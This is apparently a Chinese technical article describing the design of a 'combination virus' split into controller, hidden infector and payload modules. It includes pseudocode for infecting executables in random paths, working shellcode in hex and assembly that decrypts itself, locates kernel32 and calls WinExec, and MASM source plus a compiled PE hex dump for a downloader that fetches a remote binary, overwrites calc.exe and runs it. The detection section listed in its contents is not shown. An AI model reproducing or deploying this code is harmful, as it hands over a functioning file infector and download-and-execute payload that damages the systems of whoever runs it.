[目录]
[0x01].简介
[0x02].组合病毒
   2.1.原理
   2.2.一种实现思路
[0x03].技术实现
   3.1.控制模块C的伪码描述
   3.2.隐藏模块S的shellcode
   3.3.关于执行模块T
   3.4.整体框架
[0x04].检测讨论

[0x01].简介    
      
    组合病毒的概念,最早是在计算机病毒理论研究中确定的一种病毒类型。是属于理论上预测存在,实际环境中还未得到证实的一种病毒类型。在
最近的分析样本中发现了类似思路的病毒,在该思路的基础上我们探讨一种可能的组合病毒技术实现及检测方案。

[0x01].组合病毒 

    2.1.原理
   
    组合病毒与一般计算机病毒的差异是组合病毒由两部分a(激活函数)和h(隐藏函数)组成,每个成分单独都不构成病毒,只有它们组合在一起才构
成一个计算机病毒。在激活函数a未作用到被h感染的程序前,被h感染的程序表现如原来一样,激活函数a作用后,被感染程序才开始表现感染和传播性。
组合病毒的特点是难于清除和具有极强的隐蔽性。关于这方面原理性描述可查找基于递归函数的计算机病毒描述一文。

    2.2.一种实现思路
    
    根据前面的原理可知,组合病毒至少需要由两个部分(a,h)功能代码组成,在这里我们设想构造一个由3部分独立功能代码组成的程序。对任意一个
符合组合病毒思路的exe程序,都可由三部分组成,分别是控制模块C、执行模块T、隐藏模块S组成,我们可以设想模块C完成激活功能及整体调度功能,模
块T完成病毒的payload部分,这里我们把它简化一段类似downloader下载器的功能,模块S是隐藏的,基于shellcode方式感染其它exe文件,在模块C未进行
调度激活前,被S感染的宿主程序不具有破坏行为,激活后模块S将调用执行模块T。工作流程如下:

 病毒文件CV(组合病毒)
     |
     |
    \|/
     +-----------------+              .-------------------------.
     |   控制模块C     |------------->| 可随机选取一个感染对象  |
     +-----------------+              .-------------------------.
     |   执行模块T     |------------->| 可随机分散在任意文件夹中|
     +-----------------+              .-------------------------.
     |   隐藏模块S     |------------->| 可随机感染一组文件对象  |
     +-----------------+              .-------------------------.
    

    执行步骤:
    
    1  模块C随机选取一个路径,注入模块S,去感染该路径下的所有文件,当获得控制权时,执行模块C传入的参数。
    
    2  模块C释放若干个模块T到随机的不同路径下。
    
    3  模块C随机选取一个路径下的文件,拷贝整体CV去感染它。
    
    4  当被模块S感染后的宿主程序运行时,且路径P下存在模块T,那么病毒将被执行。
    
       
    这样当以计算机病毒的定义方式去检测时,模块C,T,S,将不可被检测(仅是理论衡量而不是实际检测)。因模块C仅是控制调度程序,具备感染性但却不具备
破坏能力。模块T虽有破坏功能但不具备感染能力且不能主动运行,模块S虽然感染了宿主文件获得了执行权限但他本身并没有感染与破坏能力。

    所以仅当模块C,释放模块T到相应路径下,模块S感染了宿主程序时,病毒才会执行破坏功能。    
    
[0x03].技术实现
   
   3.1.控制模块C的伪码描述
   
   begin
   
       获得随机路径列表t;
       
       获得本次产生随机路径个数n1;       
       for each t[i] do
         用模块S去感染t[i]下的exe文件  ;当没有匹配时,S一直处于隐藏当中     
         
       获得本次产生随机路径个数n2;
       for each t[j] do  
         释放模块T到t[j]处             ;相当于激活      
       
       do
           随机产生一个被感染文件k;
       while(k包含在t[i]中,且未被s感染)
       
       拷贝自身CV去感染k;
   
   end   
   
   3.2.隐藏模块S的shellcode   
   
    S的部分功能非常简单,它只为了获得权限去执行一个exe程序。当然为了避免启发式检测,也可以做的比较复杂,这里仅做一个简单的演示,先重
定位,解密,获得kernel32基址,获得WinExec API,执行即可。需要注意的是S模块本身并不知道要执行的exe路径,这里是模块C,激活后操作的,为了
简单起见,在将模块S注入到宿主程序的一段空穴中后,可将路径直接写在S模块后面一同加密处理。
                                 
                                 加密                   注入
   模块S   --->+-------------+ -------> +----------+ -----------> +---------+   宿主程序 
               | shellcode   |          | loader   |              | eop    -|-.
               +-------------+          |----------|              |---------| |
   模块C写入-->| 模块T的路径 |          |crypt data|              |宿主空穴 | |
               +-------------+          +----------+              | s模块 <-|-.
                                                                  |         |
                                                                  +---------+
                                                                  
                                                                  
 下面是模块S的shellcode,
  unsigned char data[176] = {
  0xE8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0xC0, 0x15, 0xB1, 0x10, 0x66, 0x8B, 0x18, 0x66, 0x81, 
  0xFB, 0xF6, 0xF7, 0x74, 0x05, 0x30, 0x08, 0x40, 0xEB, 0xF1, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x57, 
  0x69, 0x6E, 0x45, 0x78, 0x65, 0x63, 0x00, 0x5E, 0xB9, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x07, 0x00, 
  0x00, 0x00, 0xE8, 0x24, 0x00, 0x00, 0x00, 0xEB, 0x72, 0x56, 0x33, 0xC0, 0x64, 0x8B, 0x40, 0x30, 
  0x85, 0xC0, 0x78, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x40, 0x08, 0xEB, 0x09, 
  0x8B, 0x40, 0x34, 0x8D, 0x40, 0x7C, 0x8B, 0x40, 0x3C, 0x5E, 0xC3, 0x8B, 0xD8, 0x03, 0x58, 0x3C, 
  0x83, 0xC3, 0x78, 0x8B, 0x1B, 0x03, 0xD8, 0x8B, 0x53, 0x20, 0x03, 0xD0, 0x53, 0x33, 0xDB, 0x56, 
  0x51, 0x8B, 0x3A, 0x03, 0xF8, 0xF3, 0xA6, 0x74, 0x08, 0x59, 0x5E, 0x83, 0xC2, 0x04, 0x43, 0xEB, 
  0xEE, 0x59, 0x59, 0x59, 0xD1, 0xE3, 0x8B, 0x51, 0x24, 0x03, 0xD0, 0x03, 0xD3, 0x8B, 0x12, 0x81, 
  0xE2, 0xFF, 0xFF, 0x00, 0x00, 0x8B, 0x59, 0x1C, 0x03, 0xD8, 0xC1, 0xE2, 0x02, 0x03, 0xDA, 0x8B, 
  0x13, 0x03, 0xD0, 0xC3, 0x58, 0x6A, 0x00, 0x50, 0xFF, 0xD2, 0xC3, 0xE8, 0xF4, 0xFF, 0xFF, 0xFF
};
   
汇编代码如下:   
.code 
assume fs:nothing
START:
  call reloc
reloc:
  pop eax
  add eax,15h ;定位到begin
  mov cl,10h  ;此处数字随意填写,最终在注入时,由模块C随机产生一个数值,并写如该位置
encrypt:
  mov     bx,[eax]
  cmp     bx,0f7f6h ;f7f6h是设定的边界值
  je      begin
  xor     [eax],cl  ;cl 是密钥,由外部程序改写
  inc     eax
  jmp     encrypt       
  
begin:  
  call  _run
  db 'W'
  db 'i'
  db 'n'
  db 'E'
  db 'x'
  db 'e'
  db 'c'
  db 0  

_run:
    pop esi ; 要搜索的api名称
    mov ecx,7
    call find_k32_address
    call get_api
    jmp exec
      
find_k32_address:
  push esi           ;push0
  xor  eax,eax
  mov  eax,fs:[eax+30h]
  test eax,eax
  js   f_k32_win9x
  mov  eax,[eax+0ch]
  mov  esi,[eax+1ch]
  lodsd 
  mov  eax,[eax+8h]
  jmp f_k32_finished
  
f_k32_win9x:
  mov  eax,[eax+34h]
        lea  eax,[eax+7ch]
        mov  eax,[eax+3ch]  

f_k32_finished:
       pop esi           ;pop0
       ret        
  
get_api:
        mov ebx,eax
        add ebx,[eax+3ch]
        add ebx,78h
        mov ebx,[ebx]
        add ebx,eax  ;查找导入表
        mov edx,[ebx+20h]
        add edx,eax
        push ebx    ; push1 - 导入表结构指针
        xor ebx,ebx
        
cmp_api_name:
  push esi    ; push2
  push ecx    ; push3
  mov  edi,[edx]
  add  edi,eax
  repe cmpsb
  je   get_api_address
  pop ecx
  pop esi
  add edx,4
  inc ebx
  jmp cmp_api_name  
    
get_api_address:
  pop ecx
  pop ecx
  pop ecx
  shl ebx,1
  mov edx,[ecx+24h]
  add edx,eax
  add edx,ebx
  mov edx,[edx]
  and edx,0ffffh
  mov ebx,[ecx+1ch]
  add ebx,eax
  shl edx,2
  add ebx,edx
  mov edx,[ebx]
  add edx,eax
  ret       
     
exec_t:
  pop eax  ; eax 内容即指向了shellcode尾部,由模块C写入的激活执行T的路径。
  push 0
  push eax
  call edx
  ret    
exec:
  call exec_t

end START
以上代码参考了Cr4sh的代码略加修改,感谢Cr4sh。

   3.3.关于执行模块T
   
   这里模块T部分仅做演示,仅为一个downloader功能。生产的exe文件未做减肥优化。
   
.586
.model flat , stdcall 
include urlmon.inc 
include kernel32.inc
include user32.inc
includelib urlmon.lib
includelib kernel32.lib
includelib user32.lib

.data
sz_net_path db "http://127.0.0.1/x.bin",0
sz_loc_path db "c:\windows\calc.exe",0
sz_title    db "model T",0     
.code

START:
    invoke URLDownloadToFile,0,offset sz_net_path,offset sz_loc_path,0,0
    invoke WinExec,offset sz_loc_path,0
    invoke MessageBox,0,offset sz_loc_path,offset sz_title ,0
    invoke ExitProcess,0
end START
   
unsigned char data[2560] = {
  0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 
  0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 
  0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 
  0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 
  0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 
  0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x5D, 0x87, 0x01, 0x72, 0x19, 0xE6, 0x6F, 0x21, 0x19, 0xE6, 0x6F, 0x21, 0x19, 0xE6, 0x6F, 0x21, 
  0x97, 0xF9, 0x7C, 0x21, 0x12, 0xE6, 0x6F, 0x21, 0xE5, 0xC6, 0x7D, 0x21, 0x18, 0xE6, 0x6F, 0x21, 
  0x52, 0x69, 0x63, 0x68, 0x19, 0xE6, 0x6F, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x03, 0x00, 
  0x92, 0x8B, 0x90, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x0F, 0x01, 
  0x0B, 0x01, 0x05, 0x0C, 0x00, 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 
  0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
  0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 
  0x37, 0xF7, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 
  0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x20, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x20, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 
  0x00, 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 
  0xEA, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 
  0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 
  0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x6A, 0x00, 0x6A, 0x00, 0x68, 0x17, 0x30, 0x40, 0x00, 0x68, 0x00, 0x30, 0x40, 0x00, 0x6A, 0x00, 
  0xE8, 0x27, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x68, 0x17, 0x30, 0x40, 0x00, 0xE8, 0x27, 0x00, 0x00, 
  0x00, 0x6A, 0x00, 0x68, 0x2B, 0x30, 0x40, 0x00, 0x68, 0x17, 0x30, 0x40, 0x00, 0x6A, 0x00, 0xE8, 
  0x1A, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xCC, 0xFF, 0x25, 0x0C, 0x20, 
  0x40, 0x00, 0xFF, 0x25, 0x04, 0x20, 0x40, 0x00, 0xFF, 0x25, 0x00, 0x20, 0x40, 0x00, 0xFF, 0x25, 
  0x14, 0x20, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0xB8, 0x20, 0x00, 0x00, 0xAA, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x20, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0xD0, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x20, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0x20, 0x00, 0x00, 0x0C, 0x20, 0x00, 0x00, 
  0x6C, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x20, 0x00, 0x00, 
  0x00, 0x20, 0x00, 0x00, 0x80, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0xDE, 0x20, 0x00, 0x00, 0x14, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x20, 0x00, 0x00, 
  0xAA, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0xD0, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x55, 0x52, 0x4C, 0x44, 0x6F, 0x77, 
  0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x54, 0x6F, 0x46, 0x69, 0x6C, 0x65, 0x41, 0x00, 0x00, 0x75, 0x72, 
  0x6C, 0x6D, 0x6F, 0x6E, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x80, 0x00, 0x45, 0x78, 0x69, 0x74, 
  0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x94, 0x02, 0x57, 0x69, 0x6E, 0x45, 0x78, 0x65, 
  0x63, 0x00, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 
  0x9D, 0x01, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x75, 0x73, 
  0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
